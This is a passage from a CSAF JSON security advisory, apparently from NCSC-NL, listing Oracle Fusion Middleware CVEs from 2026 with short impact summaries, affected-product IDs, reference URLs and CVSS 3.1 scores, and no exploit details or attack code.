"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60715"
},
{
"cve": "CVE-2026-60716",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60716 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60716.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60716"
},
{
"cve": "CVE-2026-60720",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60720 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60720.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60720"
},
{
"cve": "CVE-2026-60721",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60721 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60721.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60721"
},
{
"cve": "CVE-2026-60722",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60722 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60722.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60722"
},
{
"cve": "CVE-2026-60726",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated CVSS 3.1 base score 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60726 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60726.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60726"
},
{
"cve": "CVE-2026-60727",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60727 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60727.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60727"
},
{
"cve": "CVE-2026-60728",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized sensitive data access or cause denial of service, rated CVSS 3.1 score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60728 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60728.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60728"
},
{
"cve": "CVE-2026-60729",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60729 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60729.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60729"
},
{
"cve": "CVE-2026-60730",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the portal, with a CVSS 3.1 base score of 9.9 indicating severe risk.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60730 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60730.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60730"
},
{
"cve": "CVE-2026-60731",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with RMI network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60731 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60731.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60731"
},
{
"cve": "CVE-2026-60733",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to modify critical data, read unauthorized data, and cause partial denial of service, with a CVSS 3.1 score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60733 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60733.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60733"
},
{
"cve": "CVE-2026-60737",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60737 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60737.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60737"
},
{
"cve": "CVE-2026-60841",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60841 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60841.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60841"
},
{
"cve": "CVE-2026-60849",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60849 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60849.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60849"
},
{
"cve": "CVE-2026-60850",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60850 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60850.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60850"
},
{
"cve": "CVE-2026-60853",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated network attackers to gain unauthorized read access to certain data, with a CVSS 3.1 base score of 3.7 indicating low confidentiality impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60853 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60853.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 3.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60853"
},
{
"cve": "CVE-2026-60860",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows unauthenticated attackers to modify or delete data and potentially crash the platform.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60860 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60860.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60860"
},
{
"cve": "CVE-2026-60861",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Service Delivery Platform (Messaging Enabler) versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged network attackers via Oracle Net to create, delete, or modify critical data, with a CVSS 3.1 score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60861 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60861.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60861"
},
{
"cve": "CVE-2026-60865",
"notes": [
{
"category": "description",
